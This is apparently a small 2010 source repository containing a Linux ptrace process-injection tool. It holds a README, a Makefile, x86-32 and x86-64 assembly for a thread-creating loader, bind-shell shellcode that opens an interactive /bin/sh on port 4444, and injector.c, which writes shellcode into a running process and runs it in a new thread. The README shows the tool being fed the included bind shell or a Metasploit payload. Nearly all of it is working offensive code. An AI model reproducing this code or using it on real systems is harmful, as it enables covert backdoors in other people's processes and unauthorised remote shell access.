├── README ├── Makefile ├── LICENSE ├── thread_creator_32.s ├── thread_creator_64.s ├── bind_sh_64.s ├── bind_sh_32.s └── injector.c /README: -------------------------------------------------------------------------------- 1 | 'injector' takes 1 argument, the pid of the process and reads shellcode's 2 | raw bytes from stdin. after that it creates a payload that will execute the 3 | shellcode in a new thread and it injects it to the process. 4 | 5 | Examples: (assume pid = 1234) 6 | 7 | Ex1: 8 | as bind_sh_32.s -o bind_sh_32.o 9 | objcopy -O binary bind_sh_32.o bind_sh_32.bin 10 | ./injector 1234 < bind_sh_32.bin 11 | nc 127.0.0.1 4444 12 | 13 | Ex2: 14 | msfpayload linux/x86/shell_bind_tcp R | ./injector 1234 15 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: injector 2 | 3 | injector: injector.o 4 | gcc $< -o $@ 5 | 6 | injector.o: injector.c payloads.h 7 | gcc -c $< -o $@ 8 | 9 | payloads.h: thread_creator_32.bin thread_creator_64.bin 10 | @echo '#ifndef PAYLOADS_H' > payloads.h 11 | @echo '#define PAYLOADS_H' >> payloads.h 12 | @echo >> payloads.h 13 | xxd -i thread_creator_32.bin >> payloads.h 14 | @echo '#ifdef __x86_64__' >> payloads.h 15 | xxd -i thread_creator_64.bin >> payloads.h 16 | @echo '#endif' >> payloads.h 17 | @echo '#endif' >> payloads.h 18 | 19 | thread_creator_32.bin: thread_creator_32.o 20 | objcopy -O binary $< $@ 21 | 22 | thread_creator_64.bin: thread_creator_64.o 23 | objcopy -O binary $< $@ 24 | 25 | thread_creator_32.o: thread_creator_32.s 26 | as --32 $< -o $@ 27 | 28 | thread_creator_64.o: thread_creator_64.s 29 | as --64 $< -o $@ 30 | clean: 31 | @rm -f injector payloads.h *.o *.bin 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2010 oblique. All rights reserved. 2 | 3 | Redistribution and use in source and binary forms, with or without modification, are 4 | permitted provided that the following conditions are met: 5 | 6 | 1. Redistributions of source code must retain the above copyright notice, this list of 7 | conditions and the following disclaimer. 8 | 9 | 2. Redistributions in binary form must reproduce the above copyright notice, this list 10 | of conditions and the following disclaimer in the documentation and/or other materials 11 | provided with the distribution. 12 | 13 | THIS SOFTWARE IS PROVIDED BY oblique ``AS IS'' AND ANY EXPRESS OR IMPLIED 14 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 15 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL oblique OR 16 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 17 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 18 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 19 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 20 | NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 21 | ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 22 | 23 | The views and conclusions contained in the software and documentation are those of the 24 | authors and should not be interpreted as representing official policies, either expressed 25 | or implied, of oblique. 26 | -------------------------------------------------------------------------------- /thread_creator_32.s: -------------------------------------------------------------------------------- 1 | # oblique 2010 2 | 3 | .text 4 | .globl _start 5 | _start: 6 | # mmap2(NULL, shellcode len + 0x2000, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 7 | xorl %ebx, %ebx # addr = 0 8 | movl $0xfee1dead, %ecx 9 | addl $0x2000, %ecx # length 10 | movl $0x7, %edx # prot = PROT_EXEC | PROT_WRITE | PROT_READ 11 | movl $0x22, %esi # flags = MAP_PRIVATE | MAP_ANONYMOUS 12 | movl $-1, %edi # fd = -1 13 | xorl %ebp, %ebp # pgoffset = 0 14 | movl $192, %eax # mmap syscall number 15 | int $0x80 16 | 17 | # copy shellcode to memory 18 | jmp getshellcodeaddr # trick to get the shellcode address 19 | back: 20 | popl %ebx # save the shellcode address to ebx 21 | xorl %ecx, %ecx 22 | movl $0xfee1dead, %esi 23 | copy: 24 | movb (%ebx, %ecx), %dl 25 | movb %dl, (%eax, %ecx) 26 | inc %ecx 27 | cmpl %esi, %ecx 28 | jne copy 29 | 30 | # clone(%eax + shellcode len + 0x2000 - 4, CLONE_VM|CLONE_SIGHAND|CLONE_THREAD, NULL, NULL, NULL) 31 | movl %eax, %ecx # child_stack = %eax + shellcode len + 0x2000 - 4 32 | addl $0xfee1dead, %ecx 33 | addl $(0x2000-4), %ecx 34 | movl %eax, (%ecx) 35 | movl $0x10900, %ebx # flags = CLONE_VM | CLONE_THREAD | CLONE_SIGHAND 36 | xorl %edx, %edx # ptid = NULL 37 | xorl %esi, %esi # tls = NULL 38 | xorl %edi, %edi # ctid = NULL 39 | movl $120, %eax # clone syscall number 40 | int $0x80 41 | 42 | cmpl $0, %eax 43 | je child # the child will continue 44 | 45 | int $3 # the parrent will return to the injector 46 | 47 | child: 48 | popl %eax 49 | jmpl *%eax 50 | 51 | getshellcodeaddr: 52 | call back 53 | shellcode: 54 | -------------------------------------------------------------------------------- /thread_creator_64.s: -------------------------------------------------------------------------------- 1 | # oblique 2010 2 | 3 | .text 4 | .globl _start 5 | _start: 6 | # mmap(NULL, shellcode len + 0x2000, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 7 | xorq %rdi, %rdi # addr = 0 8 | xorq %rsi, %rsi 9 | movq $0xfee1dead, %rsi 10 | addq $0x2000, %rsi # length = shellcode len + 0x2000 11 | movq $0x7, %rdx # prot = PROT_EXEC | PROT_WRITE | PROT_READ 12 | movq $0x22, %r10 # flags = MAP_PRIVATE | MAP_ANONYMOUS 13 | movq $-1, %r8 # fd = -1 14 | xorq %r9, %r9 # pgoffset = 0 15 | movq $9, %rax # mmap syscall number 16 | syscall 17 | 18 | # copy shellcode to memory 19 | jmp getshellcodeaddr 20 | back: 21 | popq %rbx 22 | xorq %rcx, %rcx 23 | xorq %r8, %r8 24 | movq $0xfee1dead, %r8 25 | copy: 26 | movb (%rbx, %rcx), %dl 27 | movb %dl, (%rax, %rcx) 28 | inc %rcx 29 | cmpq %r8, %rcx 30 | jne copy 31 | 32 | # clone(%eax + shellcode len + 0x2000 - 8, CLONE_VM|CLONE_SIGHAND|CLONE_THREAD, NULL, NULL, NULL) 33 | movq %rax, %rsi # child_stack = %rax + shellcode len + 0x2000 - 8 34 | movq $0xfee1dead, %r8 35 | addq %r8, %rsi 36 | addq $(0x2000-8), %rsi 37 | movq %rax, (%rsi) 38 | movq $0x10900, %rdi # flags = CLONE_VM | CLONE_SIGHAND | CLONE_THREAD 39 | xorq %rdx, %rdx # ptid = NULL 40 | xorq %r8, %r8 # tls = NULL 41 | xorq %r10, %r10 # ctid = NULL 42 | movq $56, %rax # close syscall number 43 | syscall 44 | 45 | cmpq $0, %rax 46 | je child # child will continue 47 | 48 | int3 # parrent will return to the injector 49 | 50 | child: 51 | popq %rax 52 | jmpq *%rax 53 | 54 | getshellcodeaddr: 55 | call back 56 | shellcode: 57 | -------------------------------------------------------------------------------- /bind_sh_64.s: -------------------------------------------------------------------------------- 1 | # oblique 2010 2 | 3 | .text 4 | .globl _start 5 | _start: 6 | 7 | # socket (AF_INET, SOCK_STREAM, 0) 8 | movq $2, %rdi # AF_INET 9 | movq $1, %rsi # SOCK_STREAM 10 | xorq %rdx, %rdx # 0 11 | movq $41, %rax # socket syscall number 12 | syscall 13 | 14 | # bind(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, sizeof(struct sockaddr_in)) 15 | movq %rax, %rdi # sockfd 16 | pushq $0 17 | movq $0x5c11, %r10 18 | pushq %r10 19 | pushw $2 20 | movq %rsp, %rsi 21 | movq $16, %rdx 22 | movq $49, %rax 23 | syscall 24 | 25 | # listen(sockfd, 0) 26 | xorq %rsi, %rsi 27 | movq $50, %rax 28 | syscall 29 | 30 | jmp accept 31 | wait: 32 | pushq %rdi 33 | 34 | movq $-1, %rdi 35 | xorq %rsi, %rsi 36 | xorq %rdx, %rdx 37 | xorq %rcx, %rcx 38 | movq $61, %rax 39 | syscall 40 | 41 | popq %rdi 42 | 43 | accept: 44 | # accept(sockfd, NULL, NULL) 45 | xorq %rsi, %rsi 46 | xorq %rdx, %rdx 47 | movq $43, %rax 48 | syscall 49 | 50 | movq %rax, %r10 51 | 52 | # fork() 53 | movq $57, %rax 54 | syscall 55 | 56 | test %rax, %rax 57 | jnz wait 58 | 59 | # setsid() 60 | movq $112, %rax 61 | syscall 62 | 63 | # fork() 64 | movq $57, %rax 65 | syscall 66 | 67 | test %rax, %rax 68 | jnz exit 69 | 70 | # dup2(newsockfd, 0..2) 71 | movq %r10, %rdi 72 | xorq %rsi, %rsi 73 | dup2: 74 | movq $33, %rax 75 | syscall 76 | incq %rsi 77 | cmpb $3, %sil 78 | jne dup2 79 | 80 | # execve("/bin/sh", ["/bin/sh", "-i"], 0) 81 | movq $0x692d, %r10 82 | pushq %r10 83 | movq %rsp, %r11 84 | movq $0x68732f6e69622f, %r10 85 | pushq %r10 86 | movq %rsp, %rdi 87 | pushq $0 88 | pushq %r11 89 | pushq %rdi 90 | movq %rsp, %rsi 91 | xorq %rdx, %rdx 92 | movq $59, %rax 93 | syscall 94 | 95 | # _exit(0) 96 | exit: 97 | xorq %rdi, %rdi 98 | movq $60, %rax 99 | syscall 100 | -------------------------------------------------------------------------------- /bind_sh_32.s: -------------------------------------------------------------------------------- 1 | # oblique 2010 2 | 3 | .text 4 | .globl _start 5 | _start: 6 | 7 | xorl %edi, %edi 8 | 9 | # socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) 10 | pushl $6 # IPPROTO_TCP 11 | pushl $1 # SOCK_STREAM 12 | pushl $2 # AF_INET 13 | movl %esp, %ecx 14 | movl $1, %ebx 15 | movl $102, %eax 16 | int $0x80 17 | 18 | movl %eax, %edx # save sockfd to edx 19 | 20 | # bind(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, sizeof(struct sockaddr_in)) 21 | # struct sockaddr_in 22 | push %edi # 0 23 | push %edi # 0 24 | push %edi # 0.0.0.0 25 | pushl $0x5c11 # 0x5c11 == htons(4444) 26 | pushw $2 # AF_INET 27 | movl %esp, %ebx # save the struct sockaddr_in pointer to ebx 28 | 29 | pushl $16 # sizeof(struct sockaddr_in) 30 | pushl %ebx # struct sockaddr_in * 31 | pushl %edx # sockfd 32 | 33 | # call bind 34 | movl %esp, %ecx 35 | movl $2, %ebx 36 | movl $102, %eax 37 | int $0x80 38 | 39 | # listen(sockfd, 0) 40 | pushl %edi # 0 41 | pushl %edx # sockfd 42 | movl %esp, %ecx 43 | movl $4, %ebx 44 | movl $102, %eax 45 | int $0x80 46 | 47 | jmp accept 48 | wait: 49 | pushl %edi 50 | pushl %edx 51 | 52 | movl $-1, %ebx 53 | xorl %ecx, %ecx 54 | xorl %edx, %edx 55 | movl $7, %eax 56 | int $0x80 57 | 58 | popl %edx 59 | popl %edi 60 | 61 | # accept(sockfd, NULL, NULL) 62 | accept: 63 | pushl %edi # NULL 64 | pushl %edi # NULL 65 | pushl %edx # sockfd 66 | movl %esp, %ecx 67 | movl $5, %ebx 68 | movl $102, %eax 69 | int $0x80 70 | 71 | movl %eax, %ebx 72 | 73 | # fork() 74 | movl $2, %eax 75 | int $0x80 76 | 77 | cmpl $0, %eax 78 | jne wait 79 | 80 | # setsid() 81 | movl $66, %eax 82 | int $0x80 83 | 84 | # fork() 85 | movl $2, %eax 86 | int $0x80 87 | 88 | cmpl $0, %eax 89 | jne exit 90 | 91 | # dup2(newsockfd, 0..2) 92 | xorl %ecx, %ecx 93 | dup2: 94 | movl $63, %eax 95 | int $0x80 96 | inc %ecx 97 | cmpb $3, %cl 98 | jne dup2 99 | 100 | # execve("/bin/sh", ["/bin/sh", "-i"], 0) 101 | pushl $0x0000692d 102 | movl %esp, %edx 103 | pushl $0x0068732f 104 | pushl $0x6e69622f 105 | movl %esp, %ebx 106 | pushl $0 107 | pushl %edx 108 | pushl %ebx 109 | movl %esp, %ecx 110 | xorl %edx, %edx 111 | movl $11, %eax 112 | int $0x80 113 | 114 | # _exit(0) 115 | exit: 116 | xorl %ebx, %ebx 117 | movl $1, %eax 118 | int $0x80 119 | -------------------------------------------------------------------------------- /injector.c: -------------------------------------------------------------------------------- 1 | /* oblique 2010 */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "payloads.h" 12 | 13 | typedef enum { a_unknown = 0, a_x86_32, a_x86_64 } arch_t; 14 | 15 | #ifdef __x86_64__ 16 | #define EHDR_START32 ((void*)0x08048000) 17 | #define EHDR_START64 ((void*)0x400000) 18 | #define IP_REG(X) ((X).rip) 19 | #define SP_REG(X) ((X).rsp) 20 | arch_t getarch(pid_t pid); 21 | #else 22 | #define IP_REG(X) ((X).eip) 23 | #define SP_REG(X) ((X).esp) 24 | #endif 25 | #define IP_REG_P(X) ((void*)IP_REG(X)) 26 | 27 | int isnumeric(char *s); 28 | int readmem(pid_t pid, void *buf, void *addr, size_t size); 29 | int writemem(pid_t pid, void *buf, void *addr, size_t size); 30 | int iswritable(pid_t pid, void *addr); 31 | ssize_t init_payload(arch_t arch, unsigned char **p, unsigned char *sc, size_t sc_len); 32 | ssize_t read_sc(unsigned char **sc); 33 | 34 | 35 | int main(int argc, char *argv[]) { 36 | pid_t pid; 37 | struct user_regs_struct regs; 38 | unsigned char *original_code = NULL, *payload = NULL, *sc = NULL; 39 | size_t p_len, sc_len, ret=0; 40 | #ifdef __x86_64__ 41 | arch_t arch; 42 | #endif 43 | 44 | 45 | if (argc != 2) { 46 | printf("[-] Usage: %s \n", argv[0]); 47 | return 1; 48 | } 49 | 50 | if (!isnumeric(argv[1])) { 51 | printf("[-] Pid must contains only numbers!\n"); 52 | return 1; 53 | } 54 | 55 | pid = atoi(argv[1]); 56 | 57 | printf("[+] Reading shellcode\n"); 58 | 59 | if ((sc_len = read_sc(&sc)) == -1) 60 | return 1; 61 | 62 | printf("[+] Shellcode size = %zu\n", sc_len); 63 | 64 | printf("[+] Attaching to %d\n", pid); 65 | /* attach to the process */ 66 | if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1) { 67 | perror("[-] ptrace");; 68 | goto out_err; 69 | } 70 | 71 | printf("[+] Waiting the child to stop\n"); 72 | /* wait the child to stop */ 73 | if (wait(NULL) == -1) { 74 | perror("[-] wait"); 75 | goto out_err; 76 | } 77 | 78 | #ifdef __i386__ 79 | printf("[+] Initialize payload\n"); 80 | if ((p_len = init_payload(a_x86_32, &payload, sc, sc_len)) == -1) 81 | goto out_err; 82 | #else 83 | printf("[+] Getting the architecture .. "); 84 | fflush(stdout); 85 | if ((arch = getarch(pid)) == a_unknown) { 86 | printf("unknown\n"); 87 | fprintf(stderr, "[-] Unknown architecture\n"); 88 | goto out_err; 89 | } else { 90 | if (arch == a_x86_32) 91 | printf("x86-32\n"); 92 | else if (arch == a_x86_64) 93 | printf("x86-64\n"); 94 | printf("[+] Initialize payload\n"); 95 | if ((p_len = init_payload(arch, &payload, sc, sc_len)) == -1) 96 | goto out_err; 97 | } 98 | #endif 99 | 100 | usleep(20000); 101 | 102 | printf("[+] Getting the registers\n"); 103 | /* save registers */ 104 | if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) == -1) { 105 | perror("[-] ptrace"); 106 | goto out_err; 107 | } 108 | 109 | // sometimes __kernel_vsyscall is not writable in x86-32 binaries 110 | // in this case we can inject the code to the return address 111 | #ifdef __i386__ 112 | if (!iswritable(pid, IP_REG_P(regs))) { 113 | #else 114 | if (!iswritable(pid, IP_REG_P(regs)) && arch == a_x86_32) { 115 | #endif 116 | unsigned char buf[4], tmp, dbgtrap = 0xCC; 117 | void *ret_addr = NULL; 118 | int index; 119 | 120 | // find the index to get the return address from stack 121 | readmem(pid, buf, IP_REG_P(regs), sizeof(buf)); 122 | if (memcmp(buf, "\x5d\x5a\x59\xc3", 4) == 0) // popl %ebp; popl %edx; popl %ecx; ret 123 | index = 12; 124 | else if (memcmp(buf, "\x5d\xc3", 2) == 0) // popl %ebp; ret 125 | index = 4; 126 | else if (buf[0] == 0xc3) // ret 127 | index = 0; 128 | else { 129 | fprintf(stderr, "[-] Cannot find return address\n"); 130 | goto out_err; 131 | } 132 | 133 | readmem(pid, &ret_addr, (void*)SP_REG(regs) + index, 4); 134 | readmem(pid, &tmp, ret_addr, 1); 135 | if (writemem(pid, &dbgtrap, ret_addr, 1) == -1) { // set breakpoint at the return address 136 | perror("[-] ptrace"); 137 | goto out_err; 138 | } 139 | 140 | ptrace(PTRACE_CONT, pid, NULL, NULL); 141 | 142 | if (wait(NULL) == -1) { 143 | perror("[-] wait"); 144 | goto out_err; 145 | } 146 | 147 | if (writemem(pid, &tmp, ret_addr, 1) == -1) { 148 | perror("[-] ptrace"); 149 | goto out_err; 150 | } 151 | 152 | if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) == -1) { 153 | perror("[-] ptrace"); 154 | goto out_err; 155 | } 156 | 157 | IP_REG(regs)--; 158 | 159 | if (ptrace(PTRACE_SETREGS, pid, NULL, ®s) == -1) { 160 | printf("[-] ptrace"); 161 | goto out_err; 162 | } 163 | } 164 | 165 | printf("[+] Execution stoped at %p\n", IP_REG_P(regs)); 166 | 167 | original_code = malloc(p_len); 168 | if (original_code == NULL) { 169 | perror("[-] malloc"); 170 | goto out_err; 171 | } 172 | 173 | /* save the original code */ 174 | printf("[+] Saving original code\n"); 175 | if (readmem(pid, original_code, IP_REG_P(regs), p_len) == -1) { 176 | perror("[-] ptrace"); 177 | goto out_err; 178 | } 179 | 180 | /* inject the payload */ 181 | printf("[+] Injecting payload\n"); 182 | if (writemem(pid, payload, IP_REG_P(regs), p_len) == -1) { 183 | perror("[-] ptrace"); 184 | goto out_err; 185 | } 186 | 187 | ptrace(PTRACE_SETREGS, pid, NULL, ®s); 188 | 189 | printf("[+] Resume execution\n"); 190 | /* tell to the process to continue */ 191 | if (ptrace(PTRACE_CONT, pid, NULL, NULL) == -1) { 192 | perror("[-] ptrace"); 193 | goto out_err; 194 | } 195 | 196 | printf("[+] Waiting the child to stop\n"); 197 | /* wait the child to stop */ 198 | if (wait(NULL) == -1) { 199 | printf("[-] wait"); 200 | goto out_err; 201 | } 202 | 203 | usleep(20000); 204 | 205 | printf("[+] Restoring original code\n"); 206 | /* restore the original code */ 207 | if (writemem(pid, original_code, IP_REG_P(regs), p_len) == -1) { 208 | perror("[-] ptrace"); 209 | goto out_err; 210 | } 211 | 212 | printf("[+] Restoring registers\n"); 213 | /* restore the registers */ 214 | if (ptrace(PTRACE_SETREGS, pid, NULL, ®s) == -1) { 215 | printf("[-] ptrace"); 216 | goto out_err; 217 | } 218 | 219 | printf("[+] Detaching\n"); 220 | /* detach from the process */ 221 | if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1) { 222 | perror("[-] ptrace"); 223 | goto out_err; 224 | } 225 | 226 | printf("[+] Code injection success!\n"); 227 | free(original_code); 228 | free(payload); 229 | free(sc); 230 | return 0; 231 | out_err: 232 | if (original_code) 233 | free(original_code); 234 | if (payload) 235 | free(payload); 236 | if (sc) 237 | free(sc); 238 | return 1; 239 | } 240 | 241 | int iswritable(pid_t pid, void *addr) { 242 | long tmp; 243 | readmem(pid, &tmp, addr, sizeof(tmp)); 244 | return writemem(pid, &tmp, addr, sizeof(tmp)) != -1; 245 | } 246 | 247 | int readmem(pid_t pid, void *buf, void *addr, size_t size) { 248 | size_t i = 0, j = size%sizeof(long); 249 | 250 | if (j != 0) { 251 | errno = 0; 252 | long tmp = ptrace(PTRACE_PEEKDATA, pid, addr, NULL); 253 | if (errno != 0) 254 | return -1; 255 | memcpy(buf, &tmp, j); 256 | i += j; 257 | } 258 | while (i < size) { 259 | errno = 0; 260 | *(long*)(buf+i) = ptrace(PTRACE_PEEKDATA, pid, addr+i, NULL); 261 | if (errno != 0) 262 | return -1; 263 | i += sizeof(long); 264 | } 265 | return 0; 266 | } 267 | 268 | int writemem(pid_t pid, void *buf, void *addr, size_t size) { 269 | size_t i = 0, j = size%sizeof(long); 270 | 271 | if (j != 0) { 272 | errno = 0; 273 | long tmp = ptrace(PTRACE_PEEKDATA, pid, addr, NULL); 274 | if (errno != 0) 275 | return -1; 276 | memcpy(&tmp, buf, j); 277 | if (ptrace(PTRACE_POKEDATA, pid, addr, tmp) == -1) 278 | return -1; 279 | i += j; 280 | } 281 | while (i < size) { 282 | if (ptrace(PTRACE_POKEDATA, pid, addr+i, *(long*)(buf+i)) == -1) 283 | return -1; 284 | i += sizeof(long); 285 | } 286 | return 0; 287 | } 288 | 289 | ssize_t init_payload(arch_t arch, unsigned char **p, unsigned char *sc, size_t sc_len) { 290 | size_t p_len, tc_len, i; 291 | 292 | if (arch == a_x86_32) 293 | tc_len = thread_creator_32_bin_len; 294 | #ifdef __x86_64__ 295 | else if (arch == a_x86_64) 296 | tc_len = thread_creator_64_bin_len; 297 | #endif 298 | 299 | p_len = sc_len + tc_len; 300 | 301 | *p = malloc(sizeof(unsigned char) * p_len); 302 | if (*p == NULL) { 303 | perror("[-] malloc"); 304 | return -1; 305 | } 306 | 307 | if (arch == a_x86_32) 308 | memcpy(*p, thread_creator_32_bin, tc_len); 309 | #ifdef __x86_64__ 310 | else if (arch == a_x86_64) 311 | memcpy(*p, thread_creator_64_bin, tc_len); 312 | #endif 313 | 314 | for (i=0; i 0) { 335 | if (r+sc_len > sz) { 336 | re = realloc(*sc, sz+r); 337 | if (re == NULL) { 338 | free(*sc); 339 | *sc = NULL; 340 | perror("[-] realloc"); 341 | return -1; 342 | } 343 | sz += r; 344 | *sc = re; 345 | } 346 | memcpy(*sc+sc_len, buf, r); 347 | sc_len += r; 348 | } 349 | 350 | if (r == -1) { 351 | free(*sc); 352 | *sc = NULL; 353 | perror("[-] read"); 354 | return -1; 355 | } 356 | 357 | return sc_len; 358 | } 359 | 360 | #ifdef __x86_64__ 361 | arch_t getarch(pid_t pid) { 362 | unsigned char buf[5] = {0}; 363 | int ret = readmem(pid, buf, EHDR_START64, 5); 364 | if (ret == -1) 365 | ret = readmem(pid, buf, EHDR_START32, 5); 366 | 367 | if (ret == 0) { 368 | if (memcmp(buf, "\177ELF\x02", 5) == 0) 369 | return a_x86_64; 370 | else if (memcmp(buf, "\177ELF\x01", 5) == 0) 371 | return a_x86_32; 372 | } 373 | return a_unknown; 374 | } 375 | #endif 376 | 377 | int isnumeric(char *s) { 378 | if (s == NULL) 379 | return 0; 380 | if (*s == '\0') 381 | return 0; 382 | 383 | while (*s) { 384 | if (*s < '0' || *s > '9') 385 | return 0; 386 | s++; 387 | } 388 | return 1; 389 | } 390 | --------------------------------------------------------------------------------